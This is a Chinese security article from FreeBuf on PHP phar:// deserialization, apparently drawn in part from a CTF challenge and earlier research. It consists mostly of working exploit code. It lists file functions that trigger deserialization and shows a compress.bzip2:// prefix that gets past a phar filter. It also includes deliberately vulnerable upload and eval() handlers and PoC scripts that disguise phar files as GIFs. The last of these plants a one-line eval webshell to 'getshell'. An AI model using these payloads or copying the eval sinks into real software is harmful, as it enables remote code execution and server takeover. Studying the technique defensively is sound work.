PHAR反序列化拓展操作总结

*本文原创作者：cck，本文属FreeBuf原创奖励计划，未经许可禁止转载

前言

近些阵子反序列化漏洞横行，看了几篇文章，整个漏洞发现过程是非常有意思的，所以希望总结下来，分享给大家一起研究讨论，如有不足还请多多指正。

正文

phar RCE

2018年HITCON上，baby cake这一题，涉及到了今年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the「phar://」Stream Wrapper这个议题，具体可以看这里【 传送门 】。它的主要内容是，通过phar://协议对一个phar文件进行文件操作，如file_get_contents，就可以触发反序列化，从而达成RCE的效果。

因为在 phar.c#L618 处，其调用了 php_var_unserialize：

if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {

因此可以构造一个特殊的phar包，使得代码能够被反序列化，从而构造一个POP链。这一部分已经常见了，在使用phar://协议读取文件时，文件会被解析成phar（ http://php.net/manual/zh/intro.phar.php ）   

解析过程中会触发php_var_unserialize()函数对meta-data的操作，造成反序列化。

延伸

知道创宇 404 实验室的研究员 seaii 更为我们指出了所有文件函数均可使用（ https://paper.seebug.org/680/ ）：

fileatime / filectime / filemtimestat / fileinode / fileowner / filegroup / filepermsfile / file_get_contents / readfile / `fopen``file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writableparse_ini_fileunlink        copy

在 zsx 师傅的文章又通过 php_stream_open_wrapper 方法的调用函数中，探索出一些新的可用函数！

exif

exif_thumbnailexif_imagetype

gd

imageloadfontimagecreatefrom***

hash

hash_hmac_filehash_filehash_update_filemd5_filesha1_file

file / url

get_meta_tagsget_headers

standard

getimagesizegetimagesizefromstring

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Bzip / Gzip

如果 phar://不能出现在头几个字符怎么办？

demo.php?filename=compress.bzip2://phar://upload_file/shell.gif/a

验证

代码

<?php
error_reporting(0);
$filename=$_GET['filename'];
if (preg_match("/\bphar\b/A", $filename)) {
    echo "stop hacking!\n";
}
else {
    class comrare
    {
        public $haha = 'haha';

        function __wakeup()
        {
            eval($this->haha);
        }

    }

    imagecreatefromjpeg($_GET['filename']);
}
?>

poc 验证

<?php
class comrare
{
    public $haha = 'comrarezzzzz';

}
@unlink('shell.phar');
$phar = new Phar("shell.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$object = new comrare();
//$object ->haha= 'eval(@$_POST[\'a\']);';
$object ->haha= 'phpinfo();';
$phar->setMetadata($object); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

这个 poc 同时绕过了 gif 限制和 phar 开头限制，同样我们可以 getshell 成功！

测试

首先我们自己生成一个 phar 文件来观察它的结构，php 内置了一个 Phar 类来处理相关操作！

操作前请注意： 要将 php.ini 中的 phar.readonly 选项设置为 Off，否则无法生成 phar 文件。

<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub
$o = new TestObject();
$o -> data='cck';
$phar->setMetadata($o); //将自定义的 meta-data 存入 manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行后会生成一个 phar 文件在当前目录

我们观察下它的文件结构

可以明显的看到 meta-data 是以序列化的形式存储的。       

有序列化数据必然会有反序列化操作，php 大部分的文件系统函数在通过 phar://伪协议解析 phar 文件时，都会将 meta-data 进行反序列化！

漏洞 php

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

将 phar 伪造成其他格式的文件

在前面分析 phar 的文件结构时可能会注意到，php 识别 phar 文件是通过其文件头的 stub，更确切一点来说是__HALT_COMPILER();?>这段代码，对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将 phar 文件伪装成其他格式的文件。

伪造 gif 文件代码：

<?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置 stub，增加 gif 文件头
    $phar ->addFromString('test.txt','test');  //添加要压缩的文件
    $object = new TestObject();
    $object -> data = 'cck';
    $phar -> setMetadata($object);  //将自定义 meta-data 存入 manifest
    $phar -> stopBuffering();
?>

file phar.phar 如下

这种方法可以用于上传检测！

利用

在别人复现的基础上实现了 RCE

条件

phar 文件要能够上传到服务器端。

如 file_exists()，fopen()，file_get_contents()，file() 等文件操作的函数

要有可用的魔术方法作为「跳板」。

文件操作函数的参数可控，且:、/、phar 等特殊字符没有被过滤。

环境文件

upload_file.php，后端检测文件上传，文件类型是否为 gif，文件后缀名是否为 gif

upload_file.html 文件上传表单

file_un.php 存在 file_exists()，并且存在__destruct()

文件内容

upload_file.php

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }

upload_file.html

<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

file_un.php

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "cck";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

实现流程

首先是根据 file_un.php 写一个生成 phar 的 php 文件，当然需要绕过 gif，所以需要加 GIF89a，然后我们访问这个 php 文件后，生成了 phar.phar，修改后缀为 gif，上传到服务器，然后利用 file_exists，使用 phar://执行代码

构造代码

首先用 eval.php 生成执行 phpinfo 的文件

<?php
class AnyClass{
    var $output = 'echo "cck";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

访问 eval.php，会在当前目录生成 phar.phar，然后修改后缀 gif

上传成功，获得上传目录

然后利用 file_un.php。

payload:filename=phar://upload_file/phar.gif

执行 phpinfo 成功！

RCE

既然代码能执行成功，又存在命令执行函数，我们就可以实现 RCE 获得 shell! 我们尝试上传一句话木马，修改后的文件如下：

<?php
class AnyClass{
    var $output = 'echo "cck";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'eval(@$_POST[\'a\']);';
//$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

同样的步骤上传，尝试连接，成功 getshell！